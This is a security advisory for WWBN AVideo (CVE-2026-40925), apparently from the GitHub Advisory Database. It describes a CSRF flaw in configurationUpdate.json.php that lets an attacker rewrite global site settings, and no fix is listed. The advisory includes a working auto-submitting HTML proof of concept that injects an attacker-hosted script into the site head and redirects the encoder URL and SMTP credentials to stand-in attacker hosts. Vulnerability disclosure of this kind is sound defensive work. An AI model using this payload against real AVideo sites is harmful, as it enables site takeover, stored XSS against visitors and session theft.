wwbn/avideo
Affected
- introduced
0, last affected29.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-40925
WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials
Summary
objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $_POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.
Details
The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:
require_once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
die('{"error":"' . __("Permission denied") . '"}');
}
Immediately after, $_POST values are written straight into the global AVideoConf object and persisted:
// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($_POST['contactEmail']); // :21
$config->setLanguage($_POST['language']); // :22
$config->setWebSiteTitle($_POST['webSiteTitle']); // :23
$config->setDescription($_POST['description']); // :24
$config->setAuthCanComment($_POST['authCanComment']); // :25
$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($_POST['encoder_url']); // :32
$config->setSmtp($_POST['smtp']); // :33
$config->setSmtpAuth($_POST['smtpAuth']); // :34
$config->setSmtpSecure($_POST['smtpSecure']); // :35
$config->setSmtpHost($_POST['smtpHost']); // :36
$config->setSmtpUsername($_POST['smtpUsername']); // :37
$config->setSmtpPassword($_POST['smtpPassword']); // :38
$config->setSmtpPort($_POST['smtpPort']); // :39
$config->setHead($_POST['head']); // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($_POST['logoImgBase64']); // :68
file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}'; // :130
Why CSRF actually lands
objects/include_config.php:144 sets ini_set('session.cookie_samesite', 'None') and the adjacent comment states the design: *"SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)."* This endpoint enforces no such token.objects/functionsSecurity.php:138 defines forbidIfIsUntrustedRequest(), and the peer admin endpoint objects/userUpdate.json.php:18 calls it explicitly. configurationUpdate.json.php has no such call — grepping the file confirms no forbidIfIsUntrustedRequest, verifyToken, globalToken, or Origin/Referer check.$.ajax(...type: 'post', data: {...}) (see view/configurations_body.php:753), which sends application/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a <form> with the admin's session cookie attached.POST /objects/configurationUpdate.json.php works, and .htaccess:459 also exposes it at POST /updateConfig.Impact primitives unlocked by a single CSRF request
aVideoEncoder.json.php / videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.<head>, giving persistent site-wide stored XSS (e.g. <script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.file_put_contents-ed into the web root under videos/userPhoto/logo.png and videos/favicon.png.PoC
evil.html on any origin:<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
method="POST" enctype="application/x-www-form-urlencoded">
<input name="contactEmail" value="[email protected]">
<input name="language" value="en">
<input name="webSiteTitle" value="Pwned">
<input name="description" value="x">
<input name="authCanComment" value="1">
<input name="authCanUploadVideos" value="1">
<input name="authCanViewChart" value="1">
<input name="disable_analytics" value="0">
<input name="allow_download" value="1">
<input name="session_timeout" value="3600">
<input name="encoder_url" value="https://attacker.example.com/Encoder/">
<input name="smtp" value="1">
<input name="smtpAuth" value="1">
<input name="smtpSecure" value="tls">
<input name="smtpHost" value="smtp.attacker.com">
<input name="smtpUsername" value="attacker">
<input name="smtpPassword" value="password">
<input name="smtpPort" value="587">
<input name="head" value='<script src="https://attacker.example.com/evil.js"></script>'>
<input name="adsense" value="x">
<input name="autoplay" value="1">
<input name="theme" value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>
User::isAdmin() true) visits https://attacker.example.com/evil.html. Their browser submits the form cross-origin; because session.cookie_samesite=None, PHPSESSID is included; because it's an application/x-www-form-urlencoded POST, no preflight is sent.configurationUpdate.json.php:10 passes (User::isAdmin() is true for the victim), and the body reaches $config->save() at :130. Response: {"status":"1","respnseLogo":[],"respnseFavicon":null}
The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected <script> in the rendered <head>, and by inspecting videos/configuration.php / the configurations table.
High Basis: The source's own band: HIGH
0, last affected 29.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0